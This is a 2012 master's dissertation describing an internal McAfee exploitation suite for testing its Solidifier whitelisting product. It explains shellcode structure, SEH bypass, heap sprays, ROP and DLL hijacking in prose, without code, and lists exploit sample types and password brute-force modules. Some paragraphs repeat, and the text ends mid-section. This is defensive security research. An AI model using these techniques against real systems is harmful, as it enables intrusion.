SlideShare a Scribd company logo
SOLIDCORE MEMORY PROTECTION
EXPLOITATION SUITE
BITS ZG629T: Dissertation
By
RAKESH SHARMA
(ID NO: 2010HZ12683)
Dissertation work carried out at
McAfee Software India Pvt. Ltd., Gurgaon
BIRLA INSTITUTE OF TECHNOLOGY & SCIENCE
PILANI (RAJASTHAN)
MARCH, 2012
SOLIDCORE MEMORY PROTECTION
EXPLOITATION SUITE
BITS ZG629T: Dissertation
(MS – SOFTWARE SYSTEMS)
By
RAKESH SHARMA
(ID NO: 2010HZ12683)
Dissertation work carried out at
McAfee Software India Pvt. Ltd., Gurgaon
Submitted in partial fulfillment of M.S. Software Systems
degree programme
Under the Supervision of
Abhishek Tuteja (Program Manager)
McAfee Software India Pvt. Ltd., Gurgaon
BIRLA INSTITUTE OF TECHNOLOGY & SCIENCE
PILANI (RAJASTHAN)
MARCH, 2012
ACRONYMS AND ABBREVIATIONS
SMPES Solidcore Memory Protection exploitation suite
DEP Data Execution Protection
NX No Execute
ASLR Address Space Layout Randomization
ROP Return Oriented Programming
MAC Memory and Application Control
EMET Enhanced Mitigation Experience toolkit
SEH Structured Exception Handler
SEHOP Structured Exception Handler Overwite Protection
2
LIST OF FIGURES
S No. Figure Name Page No.
1 Categories of malware 5
2 DLL hijacking exploitation using Metasploit framework 6
3 Anatomy of DBD attack 7
4 An exploit kit for serving DBD 7
5 Shell code skeleton 8
6 Export tables for APIs 9
7 Dialog to enable or disable Data Execution Protection 10
8 Exception Handler 11
9 Enhanced Mitigation Experience Toolkit 15
10 Design chart for SMPES 18
11 Command Line interface of SMPES 22
12 List of exploits 22
3
TABLE OF CONTENTS
1. Introduction…………………………………………………………………………………………….......1
1.1 Background …………………………………………………………………………………………….2
1.2 Motivation………………………………………………………………………………………………..2
1.3 Objectives…………….………………………………………………………………………………….3
1.4 Memory protection...……………………………………………………………………………….3
2. Specific Attack vectors.………………………..……………………………………….………………5
2.1 Malware……………..………………………………………......................................5
2.2 DLL Hijacking...………………………………………………………………………………………..6
2.2 Drive by downloads…….………………………..………………………………………………..7
3. Research………………………………………………………….…………………………………….………8
3.1 Shellcode writing ………………………………………………………………………..………...8
3.2 Security Concepts ………………………………………….………………………………..……9
3.2.1 DEP………………………..……………………………………………………………………..10
3.2.2 SEH/Safe SHE………………………………………………………………………........11
3.2.3 SEHOP………………………..…………………………….…………………………………..12
3.2.4 ASLR…………………………..…………………………….……………………………………12
3.2.5 Heap Sprays…………………………………………….……………………………………13
3.2.6 ROP exploits……………….…………………………….…………………………………..14
3.2.8 ret-to-libc…………………………………………..…….…………………………………..14
3.2.9 EMET…………………………..…………………………….…………………………………..14
3.3 Exploit sample creation……………………………………………………………………………15
4. SMPES Development……………………………………………………………………………………….17
4.1 Requirements………………………….……………………………………………………………….17
4.2 Design……….…………………………………………………………………………………………….18
4.3 Development cycle…………………………………………………………………………………..20
5. Execution, Results and Analysis…………………………………………........................21
5.1 Test-bed Setup………………………………………………………………………................21
5.2 Execution…………………………………….………………………………………….………………..22
6. Conclusion………………………………………………………………………………………………………..25
Appendix A: Exploit codes & SMPES script…………………………………………………….26
7. REFERENCES…………………………………………………………………………………….……………..35
1
1. INTRODUCTION
Every day, organizations of all size grapple with constant attack of malware. The numbers
of threats continue to rise. Unfortunately the traditional defense mechanisms like Anti-
Viruses, firewalls, intrusion protection devices etc. fail to prevent many attacks. One way
to test the efficacy of these security products is to use penetration testing tools.
Penetration testing (also called pen testing) is the practice of testing a computer system,
network or Web application to find vulnerabilities that an attacker could exploit.
Pen tests can be automated with software applications or they can be performed
manually. Either way, the process includes gathering information about the target before
the test (reconnaissance), identifying possible entry points, attempting to break in (either
virtually or for real) and reporting back the findings.
Pen test strategies include:
Targeted testing: Targeted testing is performed by the organization's IT team and the
penetration testing team working together. It's sometimes referred to as a "lights-turned-
on" approach because everyone can see the test being carried out.
External testing: This type of pen test targets a company's externally visible servers or
devices including domain name servers (DNS), e-mail servers, Web servers or firewalls.
The objective is to find out if an outside attacker can get in and how far they can get in
once they've gained access.
Internal testing: This test mimics an inside attack behind the firewall by an authorized
user with standard access privileges. This kind of test is useful for estimating how much
damage a disgruntled employee could cause.
Blind testing: A blind test strategy simulates the actions and procedures of a real attacker
by severely limiting the information given to the person or team that's performing the test
beforehand. Typically, they may only be given the name of the company. Because this
type of test can require a considerable amount of time for reconnaissance, it can be
expensive.
Security issues uncovered through the penetration test are presented to the system's
owner. Effective penetration tests will couple this information with an accurate assessment
of the potential impacts to the organization and outline a range of technical and
procedural countermeasures to reduce risks. Penetration testing can be an invaluable
technique to any organization's information security program.
These days penetrations testing toolkits of several kinds are readily available on internet
like BackTrack, MetaSploit, Knoppix etc. Even beginners in the field of information security
can launch sophisticated attacks on remote machines through these easy to use toolkits.
Hackers are continuously trying to evade security solutions installed on user’s machines
by finding out vulnerabilities and exploiting them. It is therefore very important for an
organization to incorporate a security program which involves simulating attack on its
products to find issues at an early stage and preventing compromise of computer & data.
The ultimate buzzword for this approach is “Attack your software before anyone else does”
2
Solidcore Memory Exploitation Suite (SMPES) is another penetration testing framework
designed specially to attack a white listing security solution called “Solidifier” but extends
to be used against other categories of security products like Anti-Viruses, Firewalls,
Endpoint security devices etc. This will cater to the security test strategy of the company
and can be used to uncover vulnerabilities in the products before shipment to market.
1.1 BACKGROUND
These days threat modeling, exploitation and security review of a product has become an
important part of its Software Development Life cycle. The beta phase of product
development includes external product review and researchers try to break software’s
functionality by crafting exploits which can compromise it through any vulnerability inside
it and run arbitrary code execution using the same.
McAfee has acquired a company called Solidcore Systems whose white listing technology
combats viruses, worms and other malware by allowing only approved, preauthorized
software to run on servers, mobile, devices and other computer systems. It develops a
product called as “Solidifier” which comprises of features like Memory & Application
control, Integrity control and change control. The feature, “Application Control” locks down
a system by creating an application inventory, thereby preventing execution of
unauthorized applications. If somehow the malware gets added to trusted application list
or white list, its execution is prevented at run-time by Memory Protection features
available in Solidifier.
Since a long time, there was no security strategy in action to test “Solidifier” product from
an application security point of view. Some external pen testing frameworks like
Metasploit were used but it could not cover every security issue, has to be upgraded to
get latest exploits and was a generic pen test tool. Therefore there was a strong felt need
of a dedicated pen testing framework for targeted testing to uncover security issues within
the product.
SMPES is the result of a volunteered initiative and an effort to bridge the security testing
gap in the team. The dissertation project was carried out at McAfee India, Gurgaon
campus and draws on the contemporary research going on in vulnerability assessment
and exploitation domain across the world.
1.2 MOTIVATION
The zeal to do exploitation and vulnerability research was the main motivation behind this
project. The tool if developed will be highly beneficial for the Development and QA teams
and will uncover many security aspects which were not touched in normal product
certification cycles.
Its function is not to supplement just another pen test toolkit but to add value to security
test coverage and provide targeted testing platform focusing on lags and limitations which
could be exploited by hackers. The research work was driven by strong experience in
information security industry and hands on experimentation on vulnerability assessment.
It also tries to engage the fuzzing concepts apart from the traditional approach to do pen-
testing. There was also need to improve exploit test samples to analyze code coverage.
3
1.3 OBJECTIVES
This dissertation work primarily concentrates on design and development of exploitation
suite to exercise memory protection features like CASP (Critical Address Space
Protection), VASR (Virtual address space randomization), CCV (Call context verification)
and NX (No-Execute) in Solidifier.
A substantial amount of research was anticipated to create exploit samples that will invoke
memory protection techniques. This involves buffer overflows, heap overflows, integer
overflows, ROP exploits, exploits using default base address of binaries to execute
malicious code and injection based attacks. Various exploits from penetration testing
frameworks such as MetaSploit and Core Impact, can also be used in this suite for remote
attacks. The dissertation focuses on gathering requirements, research on various attacks
and development of suite with modular approach. It also has the capability to execute and
capture application events and create a report on exploitation.
The research work and suite development will uncover vulnerabilities, if any, in the
Solidifier product, which will be reported as bugs. The suite will be distributed within the
organization only and will be part of product release cycles.
1.4 MEMORY PROTECTION
Solidifier is McAfee’s white listing security solution that locks down a machine by creating
an inventory of applications which are authorized thereby preventing the execution of any
unauthorized binary. The Solidifier employs solidification for enforcing the following types
of control over program code in execution, or resident on the disk:
Once a system has been solidified and the Solidifier is enabled, the system is said to be in
the Solidified Mode. In this mode, only programs contained in the inventory are allowed to
execute. Any other programs are considered unauthorized and their execution is
prevented, and their failure to execute is logged.
Memory Control (on Windows platform only) protects running processes from malicious
attempts to hijack them. Unauthorized code injected into a running process is trapped,
halted and logged. In this fashion, attempts to gain control of a system through buffer
overflow and similar exploits are rendered ineffective, and logged.
Tamper-proofing prevents intentional and unintentional changes to files that are in the
inventory by users or programs.
Following are some memory control protection techniques in Solidifier- Application Control
solution.
(a) MP-NX (No-Execute)
DEP is a CPU flag set to indicate that the NX is ON (non-executable). Any attacker
supplied code in either the heap or stack memory will not be executed and cause an
access violation. For an attacker to bypass DEP they must execute a ret2libc type exploit
where the attacker uses system API’s to mark memory pages as executable or move the
Type of control Effect
Execution control Only authorized code can run
Memory control Vulnerabilities in authorized code that is running cannot be exploited
Tamper-proofing Prevent deletion, renaming, overwriting of authorized code
4
shell code to an executable region and jump on it. In a stack based exploit, this will
require the attacker to use a technique called Return Oriented Programming
(ROP). This will allow an attacker to continually return to the stack and execute the next
instruction until the shell code is executed.
(b) VASR (Virtual Address Space Randomization)
This feature is based on Microsoft’s ASLR technique. Address space layout randomization
(ASLR) is a computer security technique which involves randomly arranging the positions
of key data areas, usually including the base of the executable and position of libraries,
heap, and stack, in a process's address space. ASLR randomly relocates the base address
upon reboot, making it difficult for hacker to identify address where the program
executes. It prevents ROP exploits, heap sprays, index overflows etc.
(c) Forced ASLR (Mandatory ASLR)
It is based on Microsoft’s EMET (Enhanced Mitigation Experience Toolkit). Windows ASLR
excludes binaries not having the DYNAMIC_BASE or ASLR flag set and these binaries are
not randomized upon reboot. In this feature, we compute preferred load address in
memory, check relocation information in binary and allocate a page of memory at the
DLLs preferred load address. This forces Windows to relocate the DLL to another randomly
chosen address.
Memory protection mechanisms are tested in following two modes of solidifier application
control feature:
(a) Enabled mode:
The enable mode is the default mode of solidifier and it is enabled after taking an
inventory of all the binaries installed in the system. It then locks down the system
preventing execution of any other binary except in the white list. Any exploit attack
which tries to run a binary which is not in the inventory is denied execution
(b) Update mode
The Update Mode allows a user to bracket all update actions including addition,
removal or modification of software on the system. It provides a mechanism to
automatically update the Solidifier Inventory and ensure that only those executables
that are added or modified during the Update Mode are added to inventory.
5
2. SPECIFIC ATTACK VECTORS
The following section is explains some of the more common malware attacks seen in
today’s environments and to test application white listing against these attacks.
(a) PDF
PDF file format is widely used these days in creating documents with good
typesetting and quality. A large number of vulnerabilities have been found in
Adobe’s PDF format which can be used to trigger a malicious download or run
arbitrary code.
(b) MS Office documents
Microsoft Office documents formats like Word, PowerPoint, Excel can also be used
to send malware embedded in them by exploiting Office software’s vulnerabilities.
(c) Binders
“Binders are utilities that allow the user to bind one application to another, in
essence creating a Trojan application. The idea is that the carrier application will
entice the user to launch it; examples include games and other executables. When
the victim launches the carrier application, he or she sees the application run, and
nothing seems malicious. All the while, however, the Trojan application runs, often
behind the scene, unbeknownst to the victim
(d) Browsers
Browser vulnerabilities can also be exploited using exploit packs like Eleonore,
Blackhole, Fiesta etc. and trigger download and install of malicious code.
2.1 MALWARE
Computer security threats or malicious code or Malwares comes in a
wide variety of forms and is distributed through an ever growing
number of delivery mechanisms. In general malicious program is any
software that impedes the normal operation of a computer or
networking device. This software most often executes without the
user's consent.
(Categories of malware)
6
2.2 DLL HIJACKING
The root of this problem lies in the past in an industry far removed from internet security.
Many years ago a Microsoft design error included the current working directory in the list
of directories Windows will search when looking for a DLL. As a result, it was trivial to use
a directory under your control to trick an application into loading the wrong copy of a DLL,
which could be a security flaw in some circumstances.
Applications load external code via DLLs (Dynamic Link Libraries). DLL High jacking is a
process by which malicious code is injected into an application via a malicious DLL with
the same name as a DLL used by the application.
Most Windows applications will not use a fully qualified path to load any required DLLs. A
bad guy can place a fake DLL for a known program in a location that is searched before
the real DLL’s location and almost guarantee that the malicious DLL is loaded, resulting in
whatever code the attacker wants to run running!
When programs are not written to specify the exact location of a required DLL, Windows
will search for the DLL by name in a specific order. For instance, let’s say that the
application, infosec.exe requires a DLL named learn.dll that is usually in the Windows
system directory. If the application does not specify the exact path for learn.dll, Windows
will search for the dll in the directory from which the application has been loaded first.
The following example uses Metasploit to create and host a PowerPoint file which is used
to exploit the DLL hijacking vulnerability and gain a meterpreter shell on the victim
machine.
(DLL hijacking exploitation using Metasploit framework)
7
2.3 DRIVE BY DOWNLOADS
Drive-by download attacks have become a very common method for mass exploitation.
DBD attacks are downloads that occur without the knowledge or consent of a user. After
downloading, the application is invoked and is free to perform its nefarious purposes. The
mere visit to a malicious web site can lead to the download and subsequent execution of
malicious software on a visitor’s computer
.
In order to make these attacks even more successful, attackers use sophisticated exploit
packs to deliver the appropriate exploits based upon which browser and plug-ins are being
used.
(Anatomy of DBD attack)
(An exploit kit for serving DBD)
8
3. RESEARCH
To simulate customized attacks on Solidifier product, exploit samples have to be created
or collected. Some samples can be collected from bug tracking websites such as bugtraq,
security-focus, exploit-db.com etc. Exploit samples must be created to invoke the memory
protection mechanisms in solidifier.
To create these samples, a thorough understanding of writing shell codes is required. The
basic security concepts should be understood. This doesn’t imply that a zero-day
vulnerability must be found but writing a shell code to execute custom payload using an
existing vulnerability.
3.1 SHELLCODE WRITING
The secret behind any good exploit is the reliable shell code. The shell code is the most important
element in your exploit. Working with the automated tools to generate a shell code will not help you
too much in bypassing the obstacles that you will face with every exploit. Shell code is simply a
portable native code. This code has the ability to run at any place in memory. And this code is used
from inside an Exploit to connect back to the attacker or do what the attacker needs to do.
(Shellcode Skeleton)
Any shell code consists of 4 parts:
Getting the delta:
The first thing we should do in your shellcode is to know where we are in the memory (the delta). This
is important because we will need to get the variables in our shellcode. We can’t get the variables in
our shellcode without having the absolute address of them in the memory.
Get the kernel32 image base:
APIs are functions like send(), recv() and connect(). Each group of functions is written inside a library.
These libraries are written into files with extension (.dll). Every library specializes in a type of function
like: winsock.dll is for network APIs like send() or recv(). And user32.dll is for windows APIs like
MessageBoxA() and CreateWindow().
And kernel32.dll is for the core windows APIs. It has APIs like LoadLibrary() which loads any other
library. And GetProcAddress() which gets the address of any API inside a library loaded in the memory.
9
So, to reach any API, we must get the address of the kernel32.dll in the memory and have the ability
to get any API inside it.
While any application is being loaded in the memory, the Windows loads beside it the core libraries
like kernel32.dll and ntdll.dll and saves the addresses of these libraries in a place in memory called
Process Environment Block (PEB). So, we will retrieve the address of kernel32.dll from the PEB as
shown in the next Listing:
Getting APIs
The Export Table consists of 3 arrays. The first array is AddressOfNames and it contains the names of
all functions inside the DLL file. And the second array is AddressOfFunctions and it contains the
addresses of all functions.
(Export tables)
But, the problem in these two arrays is that they are aligned with different alignment. For
example, GetProcAddress is the No.3 in the AddressOfNames but it’s the No.5 in the
AddressOfFunctions.
To pass this problem, Windows creates a third array named AddressOfNameOrdinals. This
array is aligned with same alignment of AddressOfNames and contains the index of every
item in the AddressOfFunctions.
So, to find our APIs, we should search for our API’s name in the AddressOfNames and
then take the index of it and go to the AddressOfNameOrdinals to find the index of your
API in the AddressOfFunctions and then, go to AddressOfFunctions to get the address of
your API. Don’t forget that all the addresses in these arrays are RVA. This means that
their addresses are relative to the address of the beginning of the PE file. So, we should
add the kernel32 imagebase to every address we work with.
Payload
Payload is the program that we want to execute once the vulnerability has been exploited.
This can be any command, binary or shell once the control is transferred to exploit
execution.
10
3.2. SECURITY CONCEPTS
As part of the project, following security concepts were read and understood in order to
proceed with sample creation.
3.2.1. DEP (Data Execution Protection)
Data Execution Prevention (DEP) is a set of hardware and software technologies that
perform additional checks on memory to help prevent malicious code from running on a
system. In Microsoft Windows XP Service Pack 2 (SP2) and Microsoft Windows XP Tablet
PC Edition 2005, DEP is enforced by hardware and by software.
The primary benefit of DEP is to help prevent code execution from data pages. Typically,
code is not executed from the default heap and the stack. Hardware-enforced DEP detects
code that is running from these locations and raises an exception when execution occurs.
Software-enforced DEP can help prevent malicious code from taking advantage of
exception-handling mechanisms in Windows.
Data Execution Prevention (DEP) is a security feature that can help prevent damage to
your computer from viruses and other security threats. Harmful programs can try to
attack Windows by attempting to run (also known as execute) code from system memory
locations reserved for Windows and other authorized programs. These types of attacks can
harm your programs and files.
DEP can help protect your computer by monitoring your programs to make sure that they
use system memory safely. If DEP notices a program on your computer using memory
incorrectly, it closes the program and notifies you. DEP can be turned on or off using
system configuration setting, My Computer Properties > Advanced Tab > Performance
options settings > Data Execution Prevention.
(Dialog to enable or disable Data Execution Protection)
11
3.2.2. SEH/SafeSEH
An exception handler is a piece of code that is written inside an application, with the
purpose of dealing with the fact that the application throws an exception. A typical
exception handler looks like this:
try
{
//run stuff. If an exception occurs, go to <catch> code
}
catch
{
// run stuff when exception occurs
}
Windows has a default SEH (Structured Exception Handler) which will catch exceptions. If
Windows catches an exception, you’ll see a “xxx has encountered a problem and needs to
close” popup. This is often the result of the default handler kicking in. It is obvious that,
in order to write stable software, one should try to use development language specific
exception handlers, and only rely on the windows default SEH as a last resort. When
using language EH’s, the necessary links and calls to the exception handling code are
generate in accordance with the underlying OS. (and when no exception handlers are
used, or when the available exception handlers cannot process the exception, the
Windows SEH will be used. (UnhandledExceptionFilter)). So in the event an error or illegal
instruction occurs, the application will get a chance to catch the exception and do
something with it. If no exception handler is defined in the application, the OS takes over,
catches the exception
(Exception Handler)
The most popular technique to bypass this protection is using the POP, POP, RETN
technique. Basically stack in the memory is a structured memory consists of 32 bit virtual
file. The first POP command will take out the topmost value layer of the virtual file to the
other register on the memory. And the second POP command will take out the second
layer of the stack on the memory. Finally the third command, RETN will be the first layer
on the stack, so the system will start the execution process from that location depends on
the memory address pointed by the RETN command.
12
When the technique above is done smoothly, the control of the process in the CPU is in
our hand and can be manipulated as we wish. The problem now is, Windows have one
more protection to prevent the SEH to be manipulated by the POP, POP, RETN technique
called "SafeSEH". In windows XP SP2 and Windows Server 2003, there is a new
technology to protect the SEH to be bypassed called SafeSEH. Generally, SafeSEH is only
a linker that can be used at the compilation process of a program/software in Windows
system. When the SafeSEH is used, the application will generate a table that contains all
memory address that will be used by itself and also save the addresses of the SEH on the
modules used. This means, when an exploitation that utilize the POP POP RETN command
happen, the address that used to bring the SEH to the POP POP RETN address wont work
because the address is not recorded in the table generated by the SafeSEH and the
exploitation will failed.
In addition to the SafeSEH protection, windows xp also have another protection against
the exploitation that can be integrated into its dll files. This feature called
"IMAGE_DLLCHARACTERISTICS_NO_SEH". If a dll file use that feature, it will prevent the
use of any address inside itself to be used as the command to bypass the SEH. An
example is when the dll file have a POP POP RETN command inside.
3.2.3. SEHOP
Windows Vista Service Pack 1, Windows 7, Windows Server 2008 and Windows Server 2008 R2 now
include support for Structured Exception Handling Overwrite Protection (SEHOP). This feature is
designed to block exploits that use the Structured Exception Handler (SEH) overwrites technique. This
protection mechanism is provided at run-time. Therefore, it helps protect applications regardless of
whether they have been compiled with the latest improvements, such as the /SAFESEH option.
Certain types of vulnerabilities can allow an attacker to make use of an exploitation technique known
as a Structured Exception Handler Overwrite (SEH overwrite). This technique involves corrupting a
data structure that is used when handling exceptional conditions that may occur while a program is
running. The act of corrupting this data structure can enable the attacker to execute code from
anywhere in memory. This technique is mitigated by SEHOP, which checks to ensure that the integrity
of the data structures used for handling exceptions is intact. This new invariant makes it possible to
detect the corruption that occurs when an exploit uses the SEH overwrite technique and is ultimately
what makes it possible to break exploits that make use of it. SEHOP is a relatively new mitigation
technology and is expected to become a requirement in future versions of the SDL.
3.2.4. ASLR
ASLR stands for Address Space Layout Randomization. ASLR moves executable images into random
locations when a system boots, making it harder for exploit code to operate predictably. For a
component to support ASLR, all components that it loads must also support ASLR. For example, if
A.exe consumes B.dll and C.dll, all three must support ASLR. By default, Windows Vista and later will
randomize system DLLs and EXEs, but DLLs and EXEs created by ISVs must opt in to support ASLR using
the /DYNAMICBASE linker option. ASLR also randomizes heap and stack memory.
Windows Vista Service Pack 1, Windows 7, Windows Server 2008 and Windows Server 2008 R2 now
include support for Structured Exception Handling Overwrite Protection (SEHOP). This feature is
designed to block exploits that use the Structured Exception Handler (SEH) overwrites technique. This
13
protection mechanism is provided at run-time. Therefore, it helps protect applications regardless of
whether they have been compiled with the latest improvements, such as the /SAFESEH option.
The goal of Address Space Layout Randomization is to introduce randomness into addresses used by a
given task. This will make a class of exploit techniques fail with a quantifiable probability and also
allow their detection since failed attempts will most likely crash the attacked task.
3.2.5. HEAP SPRAYS
Heap spraying is a technique used in exploits to facilitate arbitrary code execution. The part of the
source code of an exploit that implements this technique is called a heap spray. In general, code that
sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the
memory of a target process by having it allocate (large) blocks on the process' heap and fill the bytes
in these blocks with the right values.
Heap spraying is a payload delivery technique. It’s a technique that allows you to take advantage of
the fact that the heap is deterministic and allows you to put your shellcode somewhere in the heap, at
a predictable address. This would allow you to jump to it reliably.
For a heap spray to work, you need to be able to allocate and fill chunks of memory in the heap before
gaining control over EIP. “Need to be able” means that you must have the technical ability to have the
target application allocate your data in memory, in a controlled fashion, before triggering memory
corruption.
A browser provides an easy mechanism to do this. It has scripting support, so you can use javascript or
vbscript to allocate something in memory before triggering a bug. The concept of heap spraying is not
limited to browsers however. You could, for example, also use Javascript or Actionscript in Adobe
Reader to put your shellcode in the heap at a predictable address.
Generalizing the concept : if you can allocate data in memory in a predictable location before
triggering control over EIP, you might be able to use some sort of heap spray.
Placing the various steps on a timeline, this is what needs to be done to make the technique work:
Spray the heap
Trigger the bug/vulnerability
Control EIP and make EIP point directly into the heap
The goal of Address Space Layout Randomization is to introduce randomness into addresses used by a
given task. This will make a class of exploit techniques fail with a quantifiable probability and also
allow their detection since failed attempts will most likely crash the attacked task.
14
3.2.6. ROP exploits
ROP stands for Return oriented programming. Return-oriented programming is a computer security
exploit technique in which the attacker uses control of the call stack to indirectly execute cherry-
picked machine instructions or groups of machine instructions immediately prior to the return
instruction in subroutines within the existing program code, in a way similar to the execution of a
threaded code interpreter.
Because all the instructions that are executed are from executable memory areas within the original
program, this avoids the need for direct code injection, and circumvents most measures that try to
prevent the execution of instructions from user-controlled memory.
3.2.7. RET-TO-LIBC
A return-to-libc attack is a computer security attack usually starting with a buffer overflow in which
the return address on the call stack is replaced by the address of another instruction and an additional
portion of the stack is overwritten to provide arguments to this function. This allows attackers to call
preexisting functions without the need to inject malicious code into a program.
The shared library called "libc" provides the C runtime on UNIX style systems. Although the attacker
could make the code return anywhere, libc is the most likely target, as it is always linked to the
program, and it provides useful calls for an attacker (such as the system() call to execute an arbitrary
program, which needs only one argument). This is why the exploit is called "return-to-libc" even when
the return address may point to a completely different location.
3.2.8. EMET
The Enhanced Mitigation Experience Toolkit (EMET) is a utility that helps prevent vulnerabilities in
software from being successfully exploited. EMET achieves this by using security mitigation
technologies. These technologies function as special protections and obstacles that an exploit author
must defeat to exploit software vulnerabilities. These security mitigation technologies do not
guarantee that vulnerabilities cannot be exploited. However, they work to make exploitation as
difficult to perform as possible. In many instances, a fully-functional exploit that can bypass EMET may
never be developed.
EMET provides users with the ability to deploy security mitigation technologies to arbitrary
applications. This helps prevent vulnerabilities in those applications (especially line of business and
3rd party apps) from successfully being exploited. By deploying these mitigation technologies on
legacy products, the tool can also help customers manage risk while they are in the process of
transitioning over to modern, more secure products
15
(Enhanced Mitigation Experience Toolkit)
3.3. EXPLOIT SAMPLE CREATION
After understanding the basic security concepts, exploit samples were created to invoke different
memory protection mechanisms of solidifier product. Some exploit samples were created using
Metasploit framework which uses publicly available exploit codes to generate files which can trigger
exploitation of a vulnerability in an application.
Some of the exploit codes or test sample codes are available in appendix section.
EXPLOIT DEVELOPMENT PROCESS
The exploit development cycle can be divided into following phases:
1. Control EIP
2. Determine the offset(s)
3. Determine the attack vector
4. Build the exploit sandwich
5. Test the exploit
6. Debug the exploit if needed
16
The various categories of samples that were created and collected are as follows:
1. DLL injection
2. Buffer overflows
3. Bypass DEP
4. ASLR bypass
5. SMB overflow
6. Heap Corruption
7. Adobe PDF exploits
8. CreateProcess, CreateRemoteThread samples
9. Binded applications
10. Keylogger
11. ROP exploits
12. Java Drive by download
13. Fake Anti-Virus
14. Browser exploit packs
The exploits can be used in local or remote attacks depending upon the usage.
17
4. SMPES DEVELOPMENT
Solidcore Memory Exploitation Suite (SMPES) was developed with remote attack capability
incorporated in it. The exploits are blocked and events will be generated by the product which will be
captured and exploit cleanup will be done. A comprehensive report will be created at the end. This
suite and exploit samples will come under intellectual property of McAfee because of confidential
information and internal working of product. The intended beneficiaries of this project will be the QA
and security research and development teams of the organization.
4.1 REQUIREMENTS
Before starting the development, inputs were taken from different teams as what to include into the
suite and what should be the expectations of suite. This involves understanding technical and
functional requirements of application after understanding the product’s functionality and its
limitations.
After carefully studying the functionality of Solidifier product, following requirements were considered
for suite development.
(a) Capability of local and remote attacks
(b) Specifying attacks using IP address & parameters like OS, Architecture etc.
(c) Perform a basic security effectiveness testing using publicly available exploit samples
(d) Exploitation using samples obtained by customer issues
(e) Create and include exploit sample files for exercising memory protection features
(f) Attacking product using drive by download, Fake AV and browser exploit packs.
(g) Using Metasploit CLI for attacks on targets.
(h) Logging capability, capturing events on remote machines
(i) Exploit cleanup and remote reboot of machine
(j) Mailing report to stakeholders with results of exploitation.
On the basis of above mentioned functional requirements, following are the technical needs &
specifications.
(a) Creating files using Metasploit for Application specific exploit PoC and chosen payload.
(b) Automation of Metasploit CLI for attack on target systems
(c) Test samples to be created for exercising various memory protection features
(d) Using apache mini HTTP server to create drive by download and browser exploit pack
host (attacking machine)
(e) Automation of installation and un-installation of vulnerable applications for exploitation
(f) Scripting of automatic URL crawl and opening Application specific files.
These requirements are analyzed for feasibility study and further research is done to perform the
tasks mentioned above. Alternative mechanisms of attack were also taken into consideration
depending on the pros and cons.
18
The suite should have the capability to remotely trigger attacks from single machine, to bypass white
listing, DEP, ASLR, etc. and efficient reporting and logging functionalities. It should perform end to end
security testing of Solidifier product.
4.2 DESIGN
Before starting the development, inputs were taken from different teams as what to include into the
suite and what should be the expectations of suite. This involves understanding technical and
functional requirements of application after understanding the product’s functionality and its
limitations.
The design of SMPES is explained via following figure which describes phases of a typical SMPES
attack.
(Design chart for SMPES)
1. START attack:
This phase triggers execution of SMPES suite by running the application. It is the first stage where
CLI interface of SMPES is shown.
2. Configuration:
The various parameters like OS, Architecture, IP address, IP address list, local/remote type of
attack are prompted for input by user which saves this information into a configuration file.
19
3. Loading Exploit List:
The configuration file is read by the application and exploits specific to the targets are loaded.
Only those exploits will be executed as it is a targeted penetration testing framework.
4. Attack:
The modes are identified on target machines and then exploits are executed on them. After
exploitation the payloads are executed and events generated & collected.
5. Cleanup:
The cleanup process removes all the temporary files for execution, closes all exploit sessions,
payloads and restarts the target machines for cleanup. Some exploits kill services like svschost.exe
which needs reboot so that target machine can work properly.
6. Reporting and Debug Logs
Debug logs are created for actions of SMPES suite. Reports are created for exploitation and email
is sent to stakeholders for notification of results.
SMPES MODULES
The SMPES framework consists of following modules:
1. CLI console:
The command line interface is the main face of the framework in which pen tester would provide
the parameters and inputs required for attack.
2. Basic security check & whitelist bypass
This will test solidifier for basic security effectiveness and will run samples to bypass whitelisting.
3. Brute Forcer
It will brute force the solidcore password using dictionary attack.
4. Cryptanalysis tool
This will try to decrypt the hash of password using cryptanalysis.
5. Metasploit Executor
The exploits which require metasploit framework are also clubbed inside a separate
module called as “Metasploit Executor”. It uses ruby and python to run exploits.
6. Event Capture
Another module captures the “Application Events” generated on the target machine
when exploit is blocked.
7. Reporter
Reporter creates a report in XLS (Excel Spreadsheet) format. It lists the columns and
rows indicating exploit names, payloads, whether machine was exploited or exploit
executed.
20
8. CLI fuzzer
CLI fuzzing tool is also incorporated so that CLI fuzzing can find if any issues while
supplying random input on command line interface of solidifier console.
9. Cleaner & Reboot
This module cleans up the target machine if any windows service is crashed by
rebooting. The service is crashed by improper exploit cleanup. When an exception is
caused, it is not handled properly by an exploit and it crashes associated service.
4.3 DEVELOPMENT CYCLE
SMPES development has been divided into following milestones:
1. Requirements Gathering
All the requirements have been frozen after discussion with stakeholders. The regular feedback has
been incorporated into the suite development.
A research oriented study was done to understand basics of security, attacks & exploitation.
2. ALPHA phase
This phase involves creation of test samples for various attacks. These samples can be then manually
tested against “Solidifier” product and bugs are reported if any found.
The basic functionality of tool would also include creation of a simple command line interface which
would provide user flexibility to launch attack from single endpoint & single screen.
3. BETA phase
The Beta phase comprises of inclusion of exploit samples into the suite and development of CLI
interfaces to launch the attacks. The suite will be designed as per local or remote attack functionality.
Documentation will also be created to provide usage information.
The logging and reporting functionality will also be developed in this phase.
4. Release Candidate
The RC build of suite will contain the failure handling approach. It will then be distributed to internal
teams for testing and feedback will be obtained if any changes are required.
5. Green Milestone
This phase will be final stage of suite development. The documentation will be refines and user guide
will be provided. The final build of suite, configuration files will be packaged into an installer and
provided to teams for usage in their QA & security test cycles.
21
5. EXECUTION, RESULTS & ANALYSIS
After completion of implementation phase of SMPES, we proceed with the execution phase or sample
run where the complete framework is executed against a set of target machines. The execution would
take around 1 hour to complete.
5.1 TEST-BED SETUP
Before running the framework, first some test environment needs to be setup. The test-bed would
require following setup and pre-requisites.
1. Target Machines
The victim machines must be windows based systems only as memory protection is limited to
windows platform. The target machines must be installed with following installable.
(a) Adobe PDF reader (vulnerable version)
This must be installed so that Adobe PDF based exploits can run on the system and trigger
exploitation.
(b) Solidifier
The solidifier product must be installed, enabled with MAC license. Memory protection
features must be enabled in solidifier.
(c) Group policy setting
Change the group policy setting as follows:
Open group policy editor (gpedit.msc) > Computer Configuration > Windows settings > Local
policies >Security options.
Change the setting for policy “Network access: Sharing and security model for local accounts”
to value “Classic – local users authenticate as themselves”
(d) Connectivity
The target machines should be live on network and should be accessible from attacking host.
(e) Turn off security mechanisms
Disable firewall, Windows Defender, UAC, Anti-Viruses from the target machine. The
Autologon registry must be enabled so that systems logon to desktop automatically after
reboot.
2. Host (Attacking machine)
